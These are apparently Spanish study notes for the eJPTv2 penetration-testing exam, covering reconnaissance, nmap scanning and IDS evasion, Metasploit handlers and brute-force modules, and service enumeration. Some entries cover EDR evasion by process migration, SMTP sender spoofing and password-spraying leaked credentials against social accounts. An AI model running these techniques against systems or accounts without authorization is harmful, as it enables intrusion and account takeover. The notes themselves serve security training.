| ![[Pasted image 20260316214915.png]] |
|
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
9. Google Dorks
https://www.exploit-db.com/google-hacking-database?category=11
Muchas empresas dejan informacion expuesta en Google de forma publica sin saberlo
Ejemplos rapidos
| Dork |
Explicacion |
| site : domain o site : *.domain |
Todos los resultados seran de ese dominio y sus subdominios |
| inurl : algo (palabras: admin, forum…) |
Busa resultados donde la url contenga esas palabras |
| intitle : algo (palabras: admin, forum…) |
Lo mismo que en inurl pero con el titulo |
| intitle : index of |
Directorios que tienen listados de archivos |
| filetype : (pdf, docs…) |
Busca archivos con esas extensiones |
| cache : domain |
Como usar WayBackMachine |
| Ejemplos: |
|
- site : domain employees
- site : *.domain filetype : pdf CRM
Busqueda
Es una pagina web que contiene ejemplos de Google Dorks que pueden sernos utiles
![[Pasted image 20260316200948.png]]
Se puede filtrar por ejemplo para Google Dorks que nos muestren Archivos con Passwords:
![[Pasted image 20260316201005.png]]
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
10. Theharvester
theHarvester -d <DOMAIN> -b <SOURCE1,SOURCE2,SOURCE3…>
Enumerar emails de un dominio especifico
TheHarvester es parecido a sublist3r ya que busca en motores de busqueda y BBDD pùblicas pero para encontrar emails likeados
Las fuentes se ven en el help
Mas parametros
| Parametros |
Explicacion |
| -d domain |
Especificar dominio |
| -l limit |
Limitar el numero de busquedas (Default=500) |
| -p |
Usar proxies (estan en proxies.yaml) |
| -s |
Usar Shodan |
| -v |
Verbose |
| -e DNS_Server |
Cambiar servidor DNS |
| -r DNS_Resolve |
Hacer una resolucion DNS de los subdominios con una lista de resolvers |
| -n |
Habilitar busqueda DNS |
| -c |
DNS brute force al subdominio |
| -b source |
Elegir la fuente, hay una lista |
| -h |
Ayuda |
Ejemplo
![[Pasted image 20260316201244.png]]![[Pasted image 20260316201255.png]]![[Pasted image 20260316201306.png]]
*Los ASNS son identificadores únicos que se asignan a un Sistema Autónomo en Internet.
Un Sistema Autonomo es una red grande (o conjunto de redes) que:
- pertenece a una organización
- tiene una política de enrutamiento propia
- se anuncia a Internet usando BGP
Ejemplos:
- un ISP (Movistar, Orange)
- una empresa grande (Google, Cloudflare)
- un proveedor cloud (AWS, Azure)
eJPTv2
1. Information Gathering / 1. Comandos Pasivos
11. Haveibeenpwned
https://haveibeenpwned.com/
Es un sitio web que mira en bases de datos si los moviles, emails... han sido likeados
Si encontramos un email antes podemos meterlo y podriamos ver si el credenial ha sido leakeado y hacer un password spray para ver si podemos entrar en Facebook, Insta..
![[Pasted image 20260316201447.png]]
eJPTv2
1. Information Gathering / 2. Comandos Activos
1. Etc Hosts
<cat | nano> /etc/hosts
Contiene una lista de los hostnames y sus IPs a modo de un mini DNS server local (aunque no es exactamente asi). Con esto se soluciona el problema de no encontrar un dominio automaticamente, solo tendriamos que poner el nombre del dominio y su IP
Ejemplo rapido
La 192.168.0.1 es para acceder al panel de control del router
![[Pasted image 20260316201916.png]]
Si añadimos esta linea en /etc/hosts:
![[Pasted image 20260316201930.png]]
Ahora podemos poner en el navegador (hay que poner el https://):
![[Pasted image 20260316201943.png]]
eJPTv2
1. Information Gathering / 2. Comandos Activos
2. Dnsdumpster.com, Dnsrecon Y Dnsenum
DNS Records y DNS transfer
| Registro |
Explicacion |
| A |
IPv4 del dominio si no esta protegido por un proxy o WAF |
| AAAA |
IPv6 |
| NS |
nameserver. Nombre del DNS server autoritario |
| MX |
mailserver |
| CNAME |
alias del dominio |
| HINFO |
informacion del host (hw y SO) |
| SOA |
sautoridad en una zona DNS, coordina las transferencias de zona |
| SRV |
service record. Ubicacion de servicios como: servidor, puerto… |
| PTR |
resuelve IP - domain server |
| TXT |
texto |
Zone transfer: es la accion de traspaso de archivos de zona o zone files entre servidores DNS. Estos contienen registros de dominios
Si esta mal configurado o inseguro esto puede ser abusado copiando zone files de un DNS server a otro. Esto nos podria dar informacion corporativa
Dnsrecon
dnsrecon -d <DOMAIN>
Herrmienta de python que nos permite verificar los DNS records de la zona de transferencia o los generales
![[Pasted image 20260316200213.png]]
Dnsenum
dnsenum <DOMAIN>
Esta herramienta hace DNS recon de forma activa
Esto nos dara registros y ademas hara una Zone Transfer y Fuerza bruta de forma automatica
Wordlist DNS Records: /usr/share/dnsenum/dns.txt
![[Pasted image 20260316202202.png]]![[Pasted image 20260316202220.png]]
Dnsdumpster
https://dnsdumpster.com/
Lo mimso que dnsrecon pero en una web y con mas detalle
-
Nos dice donde se situan los sistemas
![[Pasted image 20260316200309.png]]
-
Nos dice subdominios (Registros A), servidores mail (Registros MX) y nameservers (Registros NS)
![[Pasted image 20260316200322.png]]
![[Pasted image 20260316200336.png]]
- Grafico descriptivo y visual
![[Pasted image 20260316200350.png]]
Estamos viendo que tenemos:
- Un subdominio y dos servidores DNS dentro de cloudflare
- Mientras que el servidor de mail esta dentro de namecheap-net
eJPTv2
1. Information Gathering / 2. Comandos Activos
3. Dig
Usos
| Comandos |
Explicacion |
| dig <DOMAIN> |
Interrogacion de dominio, nos dara DNS Records como A |
| dig axfr @<NS_NAME> <DOMAIN> |
Realiza un zone transfer El NS lo conseguimos con dnsenum anteriormente |
Zone transfer: es la accion de traspaso de archivos de zona o zone files entre servidores DNS. Estos contienen registros de dominios
Si esta mal configurado o inseguro esto puede ser abusado copiando zone files de un DNS server a otro. Esto nos podria dar informacion corporativa
Ejemplos
dig <DOMAIN>
![[Pasted image 20260316202504.png]]
dig axfr @<NS_NAME> <DOMAIN>
El NS lo conseguimos con dnsenum anteriormente
![[Pasted image 20260316202517.png]]
eJPTv2
1. Information Gathering / 2. Comandos Activos
4. Fierce
Es parecido a dnsenum solo que los deja en formato lista y si queremos hacer fuerza bruta tenemos que especificarlo con un parametro
Usos
| Comandos |
Explicacion |
| fierce –domain <DOMAIN> |
Saca DNS Records |
| fierce –domain <DOMAIN> –subdomain-file /usr/share/dnsenum/dns.txt |
Realiza fuerza bruta |
Wordlist DNS Records
WORDLIST : /usr/share/dnsenum/dns.txt
eJPTv2
1. Information Gathering / 2. Comandos Activos
5. Nmap (host Discovey Y Port Scanning)
(sudo) nmap <-PARAMETROS> <IP> <-o(SALIDA)> <ARCHIVO_SALIDA>
***-sS necesita sudo***
Parametros Host Discovery
nmap -sn <IP | IP_red/mascara>
Realiza ping sweep para ver si el host destino esta levantado
Parametros PortScanning
| Parametro |
Explicacion |
| Sin parametros |
Hace un SYN scan de los 1000 puertos mas usados |
| -Pn |
Omite la verificacion ping del principio por si el sistema la deniega |
| -p- |
Escanea todos los 65.535 puertos |
| -p N o N,N o N-N |
Escanea un puerto especifico, puertos especificos o un rango de puertos |
| -F |
Escanea los 100 puertos mas usados |
| -sU |
Escanea puertos UDP |
| -sV |
Escanea en busca de las versiones especificas de los puertos encontrados |
| -sC |
Escanea y usa scripts .nse para obtener mas informacion de los puertos |
| -O |
Intenta averiguar el SO del host |
| -A |
Escaneo agresivo que es como juntar (-sV -sC -O) |
| -T 0-5 o palabras |
Velocidad del escaneo. Las palabras son (paranoid, sneaky, normal, aggresive, insane) |
| -o(N,X,G,A) archivo |
Guara el resultado en un archivo con formato (.nmap, .xml, grepeable o todos) Para MSF .xml -oX |
| -sS |
Escaneo silencioso ya que no termina el 3 way handshake (necesita sudo) |
| -sT |
Escaneo normal ya que termina el 3 way handshake |
eJPTv2
1. Information Gathering / 2. Comandos Activos
6. Netdiscover (host Discovering)
netdiscover -i <INTERFAZ> -r <IP_RED/MASCARA>
envia ARP resquest (resuelve MAC en IP y al reves)
![[Pasted image 20260316204150.png]]
eJPTv2
1. Information Gathering / 2. Comandos Activos
7. Gobuster
Visto en: [[13. Gobuster]]
eJPTv2
1. Information Gathering / 2. Comandos Activos
8. Httrack
httrack http://target.com
Que hace httrack:
- analiza la página principal
- sigue todos los enlaces internos
- descarga cada recurso
- crea una copia navegable offline
![[Pasted image 20260316204626.png]]![[Pasted image 20260316204635.png]]
eJPTv2
1. Information Gathering
Indice Comandos
PUERTOS QUE APAREZCAN CON ? conectarse con [[7. Netcat|netcat]] por si acaso son shells
PASSIVE
- [[1. Host |Host]]
- [[2. robots.txt|/robots.txt]]
- [[3. sitemap.xml|/sitemap.xml]]
- [[4. Whatweb y Wappalyzer|whatweb o wappalyzer]]
- [[5. Whois|whois]]
- [[6. Dnsrecon y dnsdumpster|dnsrecon]]
- [[6. Dnsrecon y dnsdumpster|dnsdumpster.com]]
- [[7. Wafw00f|wafw00f]]
- [[8. Sublist3r|sublist3r]]
- [[9. Google Dorks|Google Dorks]]
- [[10. theHarvester|theHarvester]]
- [[11. HaveIBeenPwned|HaveIBeenPwned]]
ACTIVE
- [[1. etc-hosts|/etc/hosts]]
- [[2. dnsdumpster.com, dnsrecon y dnsenum|dnsdumpster.com]]
- [[2. dnsdumpster.com, dnsrecon y dnsenum|dnsrecon]]
- [[2. dnsdumpster.com, dnsrecon y dnsenum|dnsenum]]
- [[3. dig|dig]]
- [[4. fierce|fierce]]
- [[5. nmap (Host Discovey y Port Scanning)|nmap (Host Discovey/Port Scanning)]]
- [[6. netdiscover (Host Discovering)|netdiscover]]
- [[7. gobuster|gobuster]]
- [[8. httrack|httrack]]
eJPTv2
2. Host Discovery Y Port Scanning / 1. Comandos Host Discovery Y Port Scanning
1. Ping Y Fping
Ping
ping <IP | IP_RED/MASCARA>
La idea es hacer Pings (ICMP Echo Requests) a un rango IP y observar respuesta para ver si esta vivo
*Los hosts Windows bloquean este trafico por defecto*
USOS
| Ejemplo |
Explicacion |
| ping IP o domain |
Realiza un ping a ese objetivo en concreto |
| ping IP_red/mascara |
Realiza un ping a toda la subred |
| ping -b IP_red |
Realiza un ping a toda la subred |
| ping -c N IP |
Envia un numero de paquetes especificado (N) en Linux |
| ping -n N IP |
Envia un numero de paquetes especificado (N) en Windows |
Fping
| Ejemplo |
Explicacion |
| fping -a/–active -g IP_red/mascara |
Escanea toda la red en busca de host activos en la red |
| fping -a/–active -g IP-IP |
Escanea toda la red en busca de hosts activos en el rango que se le marque |
| fping -a IP |
Como el ping normal |
-g: sirve para generar una lista de hosts si se escanea mas de uno
eJPTv2
2. Host Discovery Y Port Scanning / 1. Comandos Host Discovery Y Port Scanning
2. Nmap (host Discovering Y Port Scanning)
Visto en: [[5. nmap (Host Discovey y Port Scanning)]]
eJPTv2
2. Host Discovery Y Port Scanning / 1. Comandos Host Discovery Y Port Scanning
3. Nse Nmap
Son scripts de nmap para automatizar ciertas funcionalidades o procesos durante el escaneo
Para buscar los scripts:
| Comando |
Explicacion |
| ls -la /usr/share/nmap/scripts |
Muestra todos |
| ls -la /usr/share/nmap/scripts | grep -e “ftp*” |
Busca todos los de ftp |
Parametros NSE
| Parametro |
Explicacion |
| -sC |
Usa una lista de los scripts mas usados de nmap (Junto con -sV = -sCV) |
| –script = nombre/categoria/regex(ftp*) |
Para especificar scripts que queremos usar por nombre/categoria (discovery, vuln…)/regex (ftp*) |
| –script-help = nombre/regex |
Para ver lo que hace el script, su categoria o SI NECESITA PARAMETROS ADICIONALES |
| PARA VER LOS PARAMETROS QUE NECESITA NOS METEMOS EN LA URL DE NMAP SACADA DEL –script-help |
|
| –script-args nombre_argumento=valor, nombre_argumento=valor… |
Especificar los parametros que necesita un script |
eJPTv2
2. Host Discovery Y Port Scanning / 1. Comandos Host Discovery Y Port Scanning
4. Firewall Detection E Ids Evasion Nmap
Detectar Firewall
nmap -sA <IP>
Nos dira si esta filtered (firewall) o no (no firewall)
Con el ACK Scan (el cual envia un paquete ACK inesperado al objetivo), podemos ver realmente que puertos estan abietos y si hay un firewall
EJEMPLO PRACTICO:
- Host Discovery –> nmap -sn IP
- Port Scanning –> nmap -Pn -sS -F IP
- Nos salen puertos = closed
- Usamos ACK –> nmap -Pn -sA -F IP
- Nos dira los filtered y no filtered
Evitar IDS
| Comandos |
Explicacion |
| -f |
fragmentacion de paquetes |
| –mtu N (multiplos de 4) |
Tamano max de los paquetes fragmentados |
| -D <IP | IP,IP | IP-IP> |
Spoofing o decoy de IPs |
| –ttl N |
Aumentar el TTL por si el paquete se pierde o tiene que dar mas saltos dentro de la red |
| –data-lenght N |
Sirve para aumentar el tamaño del paquete con informacion basura para hacerlo mas dificil de detectar que el tamaño default y hacerlo ver como trafico normal |
| -g PUERTO |
Elegir el puerto origen |
EXPLICACIONES
- Fragmentacion de paquetes: ya que viendo un solo paquete no sabra exactamente que esta pasando y se reensamblan en el destino
| Parametro |
Ejemplo |
| -f |
nmap -Pn -sS -sV -F -f IP |
En Fragment ID protocol (sucede en capa 3), veremos el Fragmetn Offset = 0, el siguiente sera 8, 16…
- MTU: Unidad Maxima Transmitida. Tamaño maximo de los paquetes fragmentados
| Parametro |
Ejemplo |
| –mtu N (multiplos de 4) |
nmap -Pn -sS -F -f –mtu 8 IP |
- Spoofing IP o Decoy IP: suplantar nuestra IP haciendola pasar por otra
Se puede usar la del gateway
| Parametro |
Ejemplo |
| -D IP/IP,IP/IP-IP |
nmap -Pn -sSVC -pN,N -f -D 10.10.10.1,10.10.10.2 |
Otros parametros que podrian ser utiles
| Parametro |
Explicacion |
| –ttl N |
Aumentar el TTL por si el paquete se pierde o tiene que dar mas saltos dentro de la red |
| –data-lenght N |
Sirve para aumentar el tamaño del paquete con informacion basura para hacerlo mas dificil de detectar que el tamaño default y hacerlo ver como trafico normal |
| -g PUERTO |
Elegir el puerto origen |
eJPTv2
2. Host Discovery Y Port Scanning / 1. Comandos Host Discovery Y Port Scanning
5. Nmap + MSF Resultados
Comandos
| Comandos |
| nmap … -oX archivo.xml |
| service postgresql start && msfconsole |
| db_status |
| db_import archivo.xml |
|
COMANDOS DENTRO DE MSF
| Comandos |
Explicacion |
| hosts |
Muestra todos los hosts encontrados en el escaneo |
| hosts -v |
Informacion detallada de los hosts |
| hosts -c address, os_name_os_flavor,info |
Elegir las colunmas concretas |
|
|
| services |
Ver los servicios extraidos |
| services -p N –rhosts |
Sirve para ver solo las IPs con esos puertos. Util para lanzar modulos a esos puertos especificos |
| servivces -p N -R |
Completa el campo RHOSTS de las OPTIONS con las IPs que contengan esos puertos |
| getg RHOSTS, unsetg RHOSTS |
Con el comando anterior hemos puesto RHOSTS como variable global a las IPs con esos puertos. Con estos comandos vemos la variable global RHOST si existe y la vaciamos |
|
|
| creds |
Muestra todas las credenciales encontradas |
| creds -p PUERTO/admin(nombre o patron) |
Muestra las credenciales filtradas por lo que se le pase ya sea un puerto o un nombre de usaurio… |
|
|
| notes |
Guarda las notas de los NSE y Metasploit |
| notes -R IP |
Ver notas de un host |
|
|
| vulns |
Ver vulnerabilidades encontradas |
| loot |
Evidencias que ha encontrado metasploit (passwords, config.xml…) |
|
|
| routes |
Rutas y poviting si existen |
eJPTv2
2. Host Discovery Y Port Scanning / 2. Banner Grabbing
1. Banner Grabbing
Con Nmap
| nmap -Pn -sS -sV -O -T4 IP |
Encontramos un solo puerto, SSH version OpenSSH 7.2p2 en un Ubuntu 4ubuntu2.6 y protocolo 2.0 |
| ls -la /usr/share/nmap/scripts | grep banner |
Con este script podemos ver que servicio y version esta corriendo en ese puerto en particular si es obetenible |
| nmap -Pn -sS -sV –script=banner -T4 IP |
Vemos lo mismo que hemos obtenido antes. Suele ser muy util cuando no somos capaces de identificar un servicio por -sV |
Con Netcat
| nc IP PUERTO -v |
Nos da el mismo banner que nmap Es util cuando con el script de nmap no nos da informacion valida -v: verbose mode |
Iniciando session en el protocolo
Aunque no tengamos las creds puede salir algo
| ssh USER@IP |
Probamos un user comun como root y a veces nos suele dar un mensaje de bienvenida con la version y algo de info. En ssh es mas raro pero Telnet y otros suele ser mas normal |
eJPTv2
2. Host Discovery Y Port Scanning
Indice Comandos
-
Host Discovery y Port Scanning
- Wireshark
- [[1. Ping y fping|Ping (Host Discovery)]]
- [[1. Ping y fping|Fping (Host Discovery)]]
- [[5. nmap (Host Discovey y Port Scanning)|Nmap (Host Discovery/Port Scanning)]]
- [[3. NSE Nmap|NSE Nmap]]
- [[4. Firewall Detection e IDS Evasion Nmap|Firewall Detection e IDS Evasion Nmap]]
- [[5. Nmap + MSF resultados|Nmap + MSF resultados]]
-
Banner Grabbing
- [[1. Banner Grabbing|Banner Grabbing]]
PASOS DE ESTA FASE
- Host Discovery:
ifconfig: ver nuestra interfaz, IP y mascara
nmap -sn OPCIONES IP_red/mascara
- Port Scanning:
nmap -Pn -s(S,U,T…) OPCIONES IP ,
eJPTv2
3. Enum Servicios / 1. MSF Enum Generico
1. MSF Enum Generico
Generico
| Paso |
Explicacion |
| service postgresql start |
Iniciamos la bbdd de msf |
| msfconsole |
Iniciamos msfconsole |
| workspace -a NOMBRE |
Creamos un workspace para ese servicio |
| search type:auxiliary name:NOMBRE_PROTCOLO |
Buscamos los modulos auxiliares que nos ayudaran a la enumeracion |
setg RHOST IP/hostname setg RHOSTS IP/hostname
(unsetg) |
Ponemos como variables globales la IP/hostname para que no tengamos que ponerlo constantemente |
| use X/NOMBRE_MODULO |
Elegimos el modulo |
| show options |
Vemos las opciones que hay que configurar en cada modulo |
| set NOMBRE_OPTION VALOR |
Ponemos valor a las que necesitemos |
| run |
Corremos el modulo |
COMANDOS UTILESmsf
| Comando |
Explicacion |
| unset OPTION |
Eliminar valor de una opcion |
| services |
Muestra los servicios encontrados |
| vulns |
Ver vulnerabilidades |
| loot |
Ver info critica recogida |
| back |
Volver pero sin salir de metasploit. Puedes salirte de un modulo por ejemplo |
| search portscan |
Para buscar tipos de escaneo para encontrar los puertos y servicios que estan corriendo |
| connect IP PUERTO |
Como netcat nos dara el banner, se conecta a ese puerto |
| workspace [-d,-a] NOMBRE |
|
| run /post/windows/manage/migrate |
Para migrar a otro proceso. Esto tiene varias razones:
- Estabilidad de la sesion: si cierra el programa el usuario del objetivo perdemos la sesion o si era un proceso temporal igual - La mayoria de EDR/AVs detectan el primer proceso ya que se realiza desde uno sospechoso. Migrar a uno legitimo permite camuflarte y reducir alertas - Escalar privs al migrar a un proceso que corre como NT AUTHORITY\SYSTEM - Acceder a recursos del usuario. Si hemos accedido desde un servicio puede que no tengamos sesion interactiva pero si migramos a un explorer.exe por ejemplo la tendremos - El proceso inicial puede tener argumentos maliciosos, memoria marcada… migrar y dejar morir el proceso limpia muchas evidencias y evita rastreos del exploit |
Busquedas search
search type:[auxiliary,exploit] cve:[AÑO] plataform:[windows,linux] name:[NOMBRE]
Automatizacion
Crear scripts en .rb para automatizar comandos MSF. Es simplemente poner los comandos uno detras de otro y luego usar msfconsole -r NOMBRE.rb
| Comandos |
Explicacion |
| ls -ls /usr/share/metasploit-framework/scripts/resource/ |
Scripts que vienen prepackaged |
| vim /usr/share/metasploit-framework/scripts/resource/auto_brute.rc |
|
Ejemplo creando un multi/handler
| nano handlre.rc |
|
use multi/hanlder set payload windows/meterpreter/reverse_tcp set lhost IP set lport N run |
|
| msfconolse -r handler.rc |
Se iniciara el msf y luego se ejecutara el script |
Ejemplo portscan.rc
| nano portscan.rc |
|
use auxiliary/scanner/portscan/tcp set rhost IP run |
|
| msfconolse -r portscan.rc |
Se iniciara el msf y luego se ejecutara el script |
Tambien se pueden ejecutar directamente dentro de MSF
| resource /ruta/portscan.rc |
Se ejecutara el script |
Podemos crear un scritp con los comandos realizados previamente
| msfconsole -q |
|
| use auxiliary/scanner/portscan/tcp |
|
| set rhost IP |
|
| run |
|
| makerc /ruta/archivo.rc |
Se creara un script en la ruta con los comandos realizados |
eJPTv2
3. Enum Servicios / 2. FTP (21)
1. Interaccion
| Comando |
Explicacion |
| ftp IP |
Para loggearnos en el servicio (nos pedira USERNAME/PASSWORD) |
|
|
| COMANDOS INTERNOS |
|
| ls |
Listar |
| get /archivo |
Descargar un archivo a nuestro host local |
| put /archivo |
Subir un archivo al host ftp |
| pwd |
Ver directorio en el que nos encontramos |
| exit |
Salir de ftp |
eJPTv2
3. Enum Servicios / 2. FTP (21)
2. MSF Enum
[[1. MSF Enum Generico]]
Modulos
Auxiliares
search type:auxiliary name:ftp
| Modulo |
Explicacion |
OPTIONS IMPORTANTES |
| ftp_version |
Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones |
|
| ftp_login |
Realiza un ataque de fuerza bruta con una wordlist |
PASS_FILE, USER_FILE, STOP_ON_SUCCESS, VERBOSE, USER_PASS_FILE… |
| ftp_anonymous |
Verifica si nos podemos conectar anonimamente |
|
eJPTv2
3. Enum Servicios / 3. SMB (445)
1. Interaccion
Puertos UDP –> 137 y 138
Interaccion
| ls |
Listar |
| cd /ruta |
Cambiar de directorio |
| get /archivo |
Descargar un archivo a nuestro host local |
| put /archivo |
Subir un archivo al host smb |
recurse ON prompt OFF |
Dos parametros que se ponen antes de subir/descargar carpetas de forma recursiva.
Enciende el recursivo para la carpeta Apaga la confirmacion de subida/descarga de cada archivo |
| mget * |
Descargar todos los archivos del recurso compartido |
| mput * |
Subir todos los archivos de nuestra carpeta al smb |
eJPTv2
3. Enum Servicios / 3. SMB (445)
2. Nmap Scripts Nse
smb-os-discovery
smb-protocols
smb-security-mode
smb-enum-sessions (–script-args smbusername=<USER>,smbpassword=<PASS>)
smb-enum-shares (–script-args smbusername=<USER>,smbpassword=<PASS>)
smb-enum-shares,smb-ls (–script-args smbusername=<USER>,smbpassword=<PASS>)
smb-enum-users (–script-args smbusername=<USER>,smbpassword=<PASS>)
smb-server-stats (–script-args smbusername=<USER>,smbpassword=<PASS>)
smb-enum-domains (–script-args smbusername=<USER>,smbpassword=<PASS>)
smb-enum-groups (–script-args smbusername=<USER>,smbpassword=<PASS>)
smb-enum-services (–script-args smbusername=<USER>,smbpassword=<PASS>)
eJPTv2
3. Enum Servicios / 3. SMB (445)
3. MSF Enum
[[1. MSF Enum Generico]]
Modulos
search type:auxiliary name:smb
| Modulo |
Explicacion |
OPTIONS IMPORTANTES |
| smb_version |
Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones
Nos puede dar mal los banners del OS, los que estan bien vienen entre () |
|
| smb_enumusers |
Enumera los usuarios smb |
|
| smb_login |
Realiza fuerza bruta para conseguir usuarios y contraseñas |
|
| smb_enumshares |
Enumera los recursos compartidos |
SHOWFILES=TRUE : nos muestra los archivos de los recursos compartidos |
| windows/smb/psexec |
Conexion al target mediante psexec Se obtiene un Meterpreter |
|
eJPTv2
3. Enum Servicios / 3. SMB (445)
4. Smbclient, Smbmap Y Rpcclient
Smbclient
| smbclient -L \\IP\ -U usuario |
Nos lista (-L) los recursos compartidos |
| smbclient -L -N \\IP\ |
Nos lista (-L) los recursos compartidos como usuario anonimo (-N) |
| smbclient \\IP\NOMBRE_RECURSO_COMPARTIDO -U usuario |
Acceder al recurso compartido |
Rpcclient
| Comando |
Explicacion |
| rpcclient IP/hostname.dominio -U dominio/usuario-anonymous |
Conectarse a smb mediante usuario o anonimo |
| nmblookup -A hostname.dominio/IP |
Enumerar informacion del SMB host devolviendo nombres NetBIOS |
eJPTv2
3. Enum Servicios / 4. Webserver (80 443)
1. MSF Enum
[[1. MSF Enum Generico]]
Modulos
Auxiliares
search type:auxiliary name:http
| Modulo |
Explicacion |
OPTIONS IMPORTANTES |
| http_version |
Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones |
PORT 80 o 443 SSL fasle o true |
| http_header |
Nos revela los hearders de la web
Se puede cambiar a GET |
|
| http_put |
Verifica si se puedan hacer puts o deletes poniendo un archivo cualquiera
ACTION: put o delete |
FILEDATA archivo, PATH, ACTION |
| robots_txt |
Nos revela el contenido del robots.txt |
PATH /, VHOST nombre.domio.algo |
| dir_scanner |
Realiza un fuzzing de directorios
Nos interesan los codigos: - 200 - 301: son redirecciones - 401: mirar si existen |
DICCIONARY, PATH |
| files_dir |
Reliza un fuzzing de archivos de la web con sus extensiones y recursos |
EXT, PATH |
| apache_userdir_enum |
Enumera usuarios validos del servidor apache mediante una wordlist |
USER_FILE |
| http_login |
Realiza una fuerza bruta de usuarios y contraseñas en una ruta la cual pida credenciales (ej. /secure que tiene un form de autenticacion) |
AUTH_URI /ruta, BRUTEFORCE_SPEED <1-5>, PASS_FILE, USER_FILE, VERBOSE |
| robots.txt |
Mirar si tiene /robots.txt |
TARGETURI |
| brute_dirs |
Fuzzing directorios web |
TARGETURI WORDLIST |
| iis_webdav_upload_asp |
Subir archivo asp al WebDAV |
HTTPPASSWORD HTTPUSERNAME PATH /RUTA/ARCHIVO.ASP |
eJPTv2
3. Enum Servicios / 5. Mysql (3306)
1. Interactuar
| Comando |
Explicacion |
| mysql -n IP -u USER -p |
Nos conectamos a una bbdd SQL remota (-n) |
|
|
| COMANDOS INTERNOS |
|
| show databases; |
Muestra bases de datos |
| use database; |
Usa base de datos dada |
| show tables; |
Muestra tablas de la base de datos |
| select * from table (where campo == “algo”) |
Muestra todos los campos de la tabla (que coincidan con) |
eJPTv2
3. Enum Servicios / 5. Mysql (3306)
2. MSF Enum
[[1. MSF Enum Generico]]
Modulos
Modulos auxiliares
search type:auxiliary name:mysql
| Modulo |
Explicacion |
OPTIONS IMPORTANTES |
| mysql_version |
Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones |
|
| mysql_login |
Realiza una fuerza bruta
El usuario admin por defaul es: root |
USERNAME root, PASS_FILE, STOP_ON_SUCCESS, VERBOSE |
| mysql_enum |
Enumera las databases
/admin/ : esto significa que es un modulo que requiere de privilegios admin |
USERNAME, PASSWORD |
| mysql_sql |
Ejecuta sql queries
CAMPO “SQL” se pondra la querie que se ejecutara. Tipo: show databases; select version(); use NOMBRE_TABLE; select * from TABLE (where CAMPO == “algo”)
/admin: requiere de privilegios admin |
SQL, USERNAME, PASSWORD |
| mysql_schemadump |
Nos da todas las bbdd, tablas… |
USERNAME, PASSWORD |
| mysql_file_enum |
Pasado un archivo con nombres de archivos, verifica si existen en el servidor SQL |
FILE_LIST rutas_archivos.txt |
| mysql_hashdump |
Hace un volcado de hashes |
|
| mysql_writable_dirs |
Encuentra los directorios que son escribibles |
DIR_LIST paths.txt |
eJPTv2
3. Enum Servicios / 6. SSH (22)
1. Interactuae
| Comando |
Explicacion |
| ssh username@IP |
Iniciar sesion con usuario y contraseña |
| ssh username@IP -i /ruta/pubkey |
Iniciar sesion con clave publica
La pubkey suele tener esta ruta: ~/.ssh/id_rsa.pub |
eJPTv2
3. Enum Servicios / 6. SSH (22)
2. MSF Enum
[[1. MSF Enum Generico]]
Modulos
Auxiliares
search type:auxiliary name:ssh
| Modulo |
Explicacion |
OPTIONS IMPORTANTES |
| ssh_verion |
Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones |
|
| ssh_enumusers |
Enumerar users a partir de una wordlist |
USER_FILE |
| ssh_login |
Realiza una fuerza bruta
Si consigue unas credenciales validas abre una sesion ssh interactiva:
- Ctl C para parar el modulo y volver a msf - sessions : para ver las sesiones abiertas - sessions N: abrir esa sesion en concreto - /bin/bash -i: dentro de la conexion ssh para que se vea mas como una terminal
|
USER_FILE, PASS_FILE |
| ssh_login_pubkey |
Lo mismo que _login solo que cuando te pide una clave publica en vez de una contraseña
La pubkey suele tener esta ruta: ~/.ssh/id_rsa.pub |
|
eJPTv2
3. Enum Servicios / 7. SMTP (25 465 O 586)
1. Interaccion
PUERTO –> 25/TCP (no ssl)
465 y 586 (ssl)
| Comando |
Explicacion |
| netcat hostname.dominio/IP PUERTO |
Se conecta a SMTP |
| telnet hostname.dominio/IP PUERTO |
Se conecta a SMTP |
|
|
| COMANDOS INTERNOS |
|
| VRFY nombre_usr |
Verifica si existe ese usuario |
| EHLO nombre_usr |
Nos mustra comandos y capacidades disponibles |
| MAIL FROM:nombre_cualquier@dominio_cualquier |
Indica que se va a mandar un email siendo emisor este |
| RCPT TO: usuario |
Se indica el receptor |
DATA Subject: asunto |
Comienza a escribir el cuerpo hasta que en una linea vacia haya un “.” y se de enter |
| sendmail -f usuario_cualquiera@dominio_cualquiera -t usuario_dominio -u “Asunto” -m “Cuerpo” -s hostname_smtp -o tls=no |
Enviar un mail sin ssl |
eJPTv2
3. Enum Servicios / 7. SMTP (25 465 O 586)
2. SMTP
PUERTO –> 25/TCP (no ssl)
465 y 586 (ssl)
[[1. MSF Enum Generico]]
Modulos
Auxiliares
| Modulo |
Explicacion |
OPTIONS IMPORTANTES |
| smtp_version |
Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones |
|
| smtp_enum |
Enumera usuarios a partir de una wordlist |
USER_FILE |
eJPTv2
3. Enum Servicios / 8. RDP (3389)
1. Interaccion
xfreerdp /u:<USER> /p:<PASS> /v:<IP_OBJETIVO>
Obtenemso una GUI
![[Pasted image 20260317192332.png]]
eJPTv2
3. Enum Servicios / 8. RDP (3389)
2. MSF Enum
Modulos
Auxiliares
| rdp_scanner |
Mira si RDP esta activo en el destino |
eJPTv2
3. Enum Servicios / 9. Winrm (5985)
1. Interactuar
Nos permite conexion remota mediante una shell
| Comandos |
Explicacion |
| [[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u <USER> -p <PASS> |
Comprobar que las creds funcionan |
| [[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u <USER> -p <PASS> -e <COMANDO> |
Ejecutar comando remoto |
| [[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u /wordlist -p /wordlist |
Fuerza bruta [[3. Enum Servicios/9. WinRM (5985)/2. MSF Enum|MSF]] –> winrm_login |
|
|
|
|
| evil-winrm -u <USER> -p <PASS | Hash NTML> -i <OBJETIVO> |
Loggeaerse |
eJPTv2
3. Enum Servicios / 9. Winrm (5985)
2. MSF Enum
Modulos
Auxiliares
| Modulo |
Explicacion |
| winrm_login |
Fuerza bruta |
| winrm_auth_methods |
